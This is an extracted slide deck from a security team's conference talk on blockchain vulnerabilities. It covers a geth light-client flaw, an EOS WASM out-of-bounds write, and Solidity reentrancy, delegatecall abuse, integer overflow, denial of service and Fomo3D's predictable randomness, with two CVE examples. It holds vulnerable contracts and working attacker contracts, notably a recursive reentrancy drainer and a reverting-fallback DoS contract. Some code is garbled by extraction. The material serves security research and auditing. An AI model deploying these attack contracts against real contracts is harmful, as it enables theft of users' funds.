



# How to Exploit Blockchain Public Chain and Smart Contract Vulnerability

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
# WHO WE ARE?

RedTeam



## ABOUT US

Redteam belongs to the 360 company information security department. Our research includes security services, red and blue confrontation, physical penetration, blockchain security, security research and more. We hope to use our red and blue confrontation and physical penetration to do our best service for our customers. At the same time, the team is closely following the pace of the times, and has obtained multiple CVE numbers and thanks for blockchain security. RedTeam contributes to the era of the world's Internet security and creates oxygen for 360 safe brains.



# Block Chain

VULNERABILITY



# PRESENTATION OVERVIEW

## YOUR GREAT SUBTITLE

- 11:00 – 11:05 AM • **Introduction**
- 11:05 – 11:15 AM • **Background**
- 11:15 – 11:30 AM • **Public Chain**
- 11:30 – 11:50 AM • **Smart Contract**
- 11:50 – 11:53 AM • **Conclusion**


# 01

# Introduction & Background



A blockchain is an intelligent peer-to-peer network that uses distributed databases to identify, propagate, and record information, also known as the value Internet. In 2008, Satoshi Nakamoto proposed the concept of “blockchain” in Bitcoin White Paper and created the Bitcoin social network in 2009.

# Architecture




The background features a complex network graph with numerous small, light-blue dots connected by thin white lines. Overlaid on this is a large, smooth, blue wave pattern that forms a dome-like shape across the center.

Blockchain security status


# Some of cryptocurrency in recent months



# Trends



# Statistics on major safety incidents



# Blockchain software vulnerability distribution

## Example

### Input verification and presentation vulnerability


- Buffer overflow
- Cross-site scripting
- Injection attack, etc.

### Code quality problem

- Unused local variables
- Null pointer dereference, etc.

### Safety features

- Override access
- Unsafe random number




- Input verification and presentation vulnerability
- Safety features
- API problem

- Code quality problem
- Mem manager
- Others

# | 02 | Vulnerability


1. Public Chain
2. Smart Contract

# Public Chain Reacher



Ethereum

“  
Ethereum is  
a decentralized platform  
that runs smart contracts  
”



EOS

“  
The most powerful  
infrastructure for  
decentralized applications  
”

# Background

## Geth


According to Ethernodes, geth has around two-thirds share.

<https://github.com/ethereum/go-ethereum>

## Make Geth

Given geth is the majority in the Ethereum network, any critical vulnerability of it could possibly cause severe damages to the entire Ethereum ecosystem.


Network number 1 Last updated a few seconds ago



Clients




Client Versions



OS

Like what you see? Support the node explorer!

Total	12935 (100%)
United States	5551 (42.91%)
China	1646 (12.73%)
Canada	998 (7.72%)
Germany	537 (4.15%)
Russian Federation	459 (3.55%)
United Kingdom	403 (3.12%)
Netherlands	283 (2.19%)




# Details

This figure displays the protocol layers used in Ethereum. For supporting “light” clients, the Light Ethereum Subprotocol (LES) allows an Ethereum node to only download block headers as they appear and fetch other parts of the blockchain on-demand. To achieve that, we also need a full (or archive) node acting as the LES server to serve the light nodes.

geth --lightserv 20

While an LES client requesting block headers from an LES server, the **GetBlockHeaders** message is sent from the client and the message handler on the server side parses the message.



Ethereum Protocol Stack

1. Support arbitrary sub-protocols (aka capabilities) over the basic wire protocol
  2. Connection management
- 
1. Encrypted Handshake/Authentication
  2. Peer Persistence
  3. UDP Node Discovery Protocol

```
// GetBlockHashesFromHash retrieves a number of block hashes starting at a given
// hash, fetching towards the genesis block.
func (hc *HeaderChain) GetBlockHashesFromHash(hash common.Hash, max uint64) []common.Hash {
    // Get the origin header from which to fetch
    header := hc.GetHeaderByHash(hash)
    if header == nil {
        return nil
    }
    // Iterate the headers until enough is collected or the genesis reached
    chain := make([]common.Hash, 0, max)
    for i := uint64(0); i < max; i++ {
        next := header.ParentHash
        if header = hc.GetHeader(next, header.Number.Uint64()-1); header == nil {
            break
        }
        chain = append(chain, next)
        if header.Number.Sign() == 0 {
            break
        }
    }
    return chain
}
```


```
455
456
457
458
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464
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466
467
468
469
470
471
472
473
474
475
476
```

```
case query.Origin.Hash != (common.Hash{}) && !query.Reverse:
    // Hash based traversal towards the leaf block
    if header := pm.blockchain.GetHeaderByNumber(origin.Number.Uint64() + query.Skip + 1); header != nil {
        if pm.blockchain.GetBlockHashesFromHash(header.Hash(), query.Skip+1)[query.Skip] == query.Origin.Hash {
            query.Origin.Hash = header.Hash()
        } else {
            unknown = true
        }
    }
    // getBlockHeadersData represents a block header query.
    type getBlockHeadersData struct {
        Origin hashOrNumber // Block from which to retrieve headers
        Amount uint64         // Maximum number of headers to retrieve
        Skip   uint64         // Blocks to skip between consecutive headers
        Reverse bool          // Query direction (false = rising towards latest, true = falling towards genesis)
    }
    if unknown {
        unknown = true
    }
}
case !query.Reverse:
    // Number based traversal towards the leaf block
    query.Origin.Number += query.Skip + 1
```

Max size 0xffffffffffffffffffff

Query.skip+1 =0

# Process



# DEMO

# Background

## Eos

Be an operating system that truly supports commercial applications.

<https://github.com/EOSIO/eos>

One of the best things about using WASM is that EOS smart contracts can be written in any programming language that compiles to WASM.




# Details

This is a buffer out-of-bounds write vulnerability At libraries/chain/webassembly/binaryen.cpp  
(Line 78), Function **binaryen\_runtime::instantiate\_module**:

```
for (auto& segment : module->table.segments) {
    Address offset = ConstantExpressionRunner<TrivialGlobalManager>(globals).visit(segment.offset).value.geti32();
    assert(offset + segment.data.size() <= module->table.initial);
    for (size_t i = 0; i != segment.data.size(); ++i) {
        table[offset + i] = segment.data[i]; //00B write here!
    }
}
```

The values *offset* and *segment.data.size()* are read from the WASM file. This creates a vulnerability that can be exploited by a malicious contract providing invalid values. By doing so, attackers would be able to write data into arbitrary addresses in memory and, ultimately, take control of the node. By stealing the private keys of supernodes, controlling the content of new blocks, packing a malicious contract into a new block and publishing it.

# Process



# DEMO

# Blockchain Smart Contract Vulnerability

## Base on Ethereum



# Blockchain Smart Contract Vulnerability

Base on Ethereum

## Smart Contract



## Gas



# Reentrancy EVENT

On June 17, 2016, the DAO smart contract was attacked. The attackers stole 3.6 million Ethereum coins, which were worth about \$70 million and are now about \$750 million.

Because of this attack, Ethereum had a hard fork and was divided into Ethereum Classic (ETC) and Ethereum (ETH). The vulnerability exploited by this attack is the reentry vulnerability.




# Reentrancy EXAMPLE

```
pragma solidity ^0.4.22;

contract foo { //Define contract name.
    address admin; //Define the address variable, variable name: admin.
    mapping (address => uint256) balances; //Define an array of record balances, array name: balances.
    function foo(){ //Constructor, called when the contract is released, and can only be called once.
        admin = msg.sender; //Define the administrator as the publisher
    }
    function deposit() payable{ //Fallback function, mainly used to record deposits.
        require(balances[msg.sender] + msg.value > balances[msg.sender]); //Judging overflow.
        balances[msg.sender] += msg.value; //Increase deposit amount.
    }
    function withdraw(address to, uint256 amount){ //Withdrawal function, function with vulnerability.
        require(balances[msg.sender] > amount); //Determine if the balance is greater than the withdrawal amount.
        require(amount < balances[msg.sender]); //Prevent overflow.
        to.call.value(amount)(); //Transfer to the cash withdrawal address, the loophole is born in this row.
        balances[msg.sender] -= amount; //After deducting the amount of cash.
    }
}
```

A transfer function  
**address.gas().call.value()**



```

pragma solidity ^0.4.22;
contract attack{ //Define the contract, contract name: attack.
    address admin; //Define the amount of address variables, variable nam
    address foo_address; //Define the amount of the address variable, var

    modifier adminOnly{ //Defining decorator.
        require(admin == msg.sender); //Determine if the current contract
        _; //Continue to run the code behind.
    }

    function attack() payable{ //Constructor that is executed when the co
        admin = msg.sender;
    }

    function setaddress(address target) adminOnly{ /*Define the function,
    used to set the contract address of the attack, and the administrator can
    foo_address = target;
}


    function deposit_foo(uint256 amount) adminOnly{ /*Define the function
    used to deposit the target contract. You must deposit before you want to
    foo_address.call.value(amount)(bytes4(keccak256("deposit())));
}

    function withdraw_foo(uint256 amount) adminOnly{ /*Define the number of rows, the function name: wit
    used to withdraw funds from the target contract. Attack second step.*/
        foo_address.call(bytes4(keccak256("withdraw(address,uint256"))),this ,amount); //Withdrawal operation.
    }

    function stop() adminOnly{ //Destroy the contract and transfer the money to the admin address.
        selfdestruct(admin); //Destruction operation.
    }

    function () payable{ //The fallback function, which fires when there is ether turning to the contract.
        if(msg.sender == foo_address){ //Determine if the account address from the transfer is the target contract address.
            foo_address.call(bytes4(keccak256("withdraw(address,uint256"))),this ,msg.value);/*Call the withdraw function of the victim target contract again.
This results in a recursive call*/
        }
        to.call.value(amount)(); //Transf
        balances[msg.sender] -= amount;
    }
}

```



# Call function abuse


1.Call()



2.delegatecall()



3.callcode()



# Call function abuse

## EXAMPLE

### Example 1

```
pragma solidity ^0.4.22;
contract foo{
    address public admin;
    function call_function(address addr,bytes4 data) public {
        addr.delegatecall(data); //Vulnerabilities caused by using the delegatecall function
        addr.callcode(data); //Vulnerabilities caused by using the callcode function
    }
}

contract attack {
    address public admin;
    function test() public {
        admin = 0x038f160ad632409bfb18582241d9fd88c1a072ba;
    }
}
```

### Example 2


```
function call_function(bytes data) public {
    this.call(data);
    /*Take advantage of code examples*/
    //this.call(bytes4(keccak256("withdraw(address"))), target);
}

function withdraw(address addr) public {
    require(isAuth(msg.sender));
    addr.transfer(this.balance);
}
```

# Arithmetic overflow

## Integer overflow

- Solidity's uint defaults to a 256-bit unsigned integer, indicating a range of:  $[0, 2^{256}-1]$



# Arithmetic overflow

## EXAMPLE

**balances[msg.sender]=5 < 6 = 2\*\*256-1 > 1**


```
pragma solidity ^0.4.22;
contract foo { //Define contract name
mapping (address => uint256) balances; //Define an array of record balances, array name: balances

function deposit() payable{ //deposit function, mainly used to record deposits
    balances[msg.sender] += msg.value; //Increase deposit amount
}

function withdraw(uint256 amount){ //Withdrawal function, function with vulnerability
    require(balances[msg.sender] - amount > 0); //Integer overflow, the loophole occurs in this line
    msg.sender.transfer(amount); //Transfer to the cash withdrawal address
    balances[msg.sender] -= amount; //After deducting the amount of cash
}
```

# Denial of Service

“DOS is the abbreviation of Denial of Server. It will destroy the normal function of the contract, resulting in abnormal function or abnormal loop, resulting in a large consumption of Ether and Gas.”



# Denial of Service

## EXAMPLE

### King of the Ether contract


```
1 pragma solidity ^0.4.22;
2     contract king{
3         address public owner;
4         uint256 public price;
5         function king(uint256 _price){
6             require(_price > 0);
7             owner = msg.sender;
8         }
9
10        function becomeking() payable{
11            require(msg.value >= price * 2);
12            owner.transfer(price);
13            owner = msg.sender;
14            price = price * 2;
15        }
16    }
```

```
1 pragma solidity ^0.4.22;
2
3     contract attack{
4         function () payable{
5             revert();
6         }
7         function attack_contract(address contract_address){
8             contract_address.call.value(msg.value)(bytes4(keccak256("becomeking())));
9         }
10    }
```

# Denial of Service


## EXAMPLE

### King of the Ether contract



# Bad Randomness

## EVENT




# Fomo3D

# Bad Randomness

## Airdrop vulnerability

### Bad Randomnes

```
/**  
 * @dev generates a random number between 0-99 and checks to see if thats  
 * resulted in an airdrop win  
 * @return do we have a winner?  
 */  
function airdrop()  
private  
view  
returns(bool)  
{  
    uint256 seed = uint256(keccak256(abi.encodePacked(  
  
        (block.timestamp).add  
        (block.difficulty).add  
        ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add  
        (block.gaslimit).add  
        ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add  
        (block.number)  
));  
    if((seed - (seed / 1000) * 1000) < airDropTracker_)  
        return(true);  
    else  
        return(false);  
}  
  
modifier isHuman() {  
    address _addr = msg.sender;  
    uint256 _codeLength;  
  
    assembly {_codeLength := extcodesize(_addr)}  
    require(_codeLength == 0, "sorry humans only");  
}
```




# Fomo3D

X calls burXid() to win the airdrop

# Bad Randomness

## Block the deal

```
/**  
 * @dev returns all current round info needed for front end  
 * -functionhash- 0x747dff42  
 * @return eth invested during ICO phase  
 * @return round id  
 * @return total keys for round  
 * @return time round ends  
 * @return time round started  
 * @return current pot  
 * @return current team ID & player ID in lead  
 * @return current player in leads address  
 * @return current player in leads name  
 * @return whales eth in for round  
 * @return bears eth in for round  
 * @return sneks eth in for round  
 * @return bulls eth in for round  
 * @return airdrop tracker # & airdrop pot  
 */  
  
function getCurrentRoundInfo()
```



The screenshot shows a transaction details page on Etherscan. At the top, it displays a transaction from the Fomo3D contract (0xa62142888aba8370742be823c1782d17a0389da1) to a user account (0xa169df5ed3363fc4c92ac96c6c5f2a42fccbf85). The transaction failed with the error "Warning! Error encountered during contract execution [Bad instruction]". The transaction details table shows the following:

TxHash	Block	Age	From	To	Value	[TxFee]
Contract 0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801	170000		0x18e1b664c6a2e88b93c1b71f61cbf76a726b7801	0x663c9e9bbf5282b...	0.05 Ether	0.0021
				0x18e1b664c6a2e88...	0 Ether	0.08517003
				0x18e1b664c6a2e88...	0 Ether	0.90180325
				0x18e1b664c6a2e88...	0 Ether	1.35270731
				0x18e1b664c6a2e88...	0 Ether	1.65331092

## Fomo3D

# Blockchain Smart Contract Vulnerability

## Demo



**Call Abuse**

CVE-2018-12959



**Arithmetic overflow**

CVE-2018-11561

# Call Abuse

## CVE-2018-12959

We look directly at line 120, the function approveAndCall.

```
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool
success) {
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);

    //call the receiveApproval function on the contract you want to be notified. This
crafts the function signature manually so one doesn't have to include a contract in here
just for this.

    //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes
_extraData)
    //it is assumed that when does this that the call *should* succeed, otherwise one
would use vanilla approve instead.

    if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))),
msg.sender, _value, this, _extraData)) { throw; }
    return true;
}
```

# DEMO

# Arithmetic overflow

## CVE-2018-11561

We look directly at line 70, the function distributeToken.

```
70  function distributeToken(address[] addresses, uint256 _value) {
71    for (uint i = 0; i < addresses.length; i++) {
72      balances[msg.sender] -= _value;
73      balances[addresses[i]] += _value;
74      transfer(msg.sender, addresses[i], _value);
75    }
```

# DEMO

# | 03 | Conclusion

# Conclusion

## Public Chain Attack

ETH&EOS  
Node Attack

## Smart contract Attack

Reentrancy  
Call function abuse  
Arithmetic overflow  
Dos  
Bad Randomness

## Public Chain Audit

Have to figure out the  
program execution  
process

## Smart contract Audit


Patiently view each  
line of code



# Thank You

# Bad Randomness


## EVENT



The countdown is 24 hours. Each participant participates in a scam for 30 seconds (+30s) and the upper limit is 24 hours. If the game is over, then the last player will get 48 participants from all previous participants.

# Fomo3D

# Bad Randomness



# Bad Randomness


## Airdrop vulnerability

### Bad Randomnes

The random number in the airdrop reward is generated by the airdrop() in the contract.

```
/**  
 * @dev generates a random number between 0-99 and checks to see if thats  
 * resulted in an airdrop win  
 * @return do we have a winner?  
 */  
function airdrop()  
private  
view  
returns(bool)  
{  
    uint256 seed = uint256(keccak256(abi.encodePacked(  
        (block.timestamp).add  
        (block.difficulty).add  
        ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add  
        (block.gaslimit).add  
        ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add  
        (block.number)  
    ));  
    if((seed - ((seed / 1000) * 1000)) < airDropTracker_)  
        return(true);  
    else  
        return(false);  
}
```

The "random number" seed is calculated from various block information and transaction originator addresses. But on the blockchain, the block information is open and transparent.



# Bad Randomness

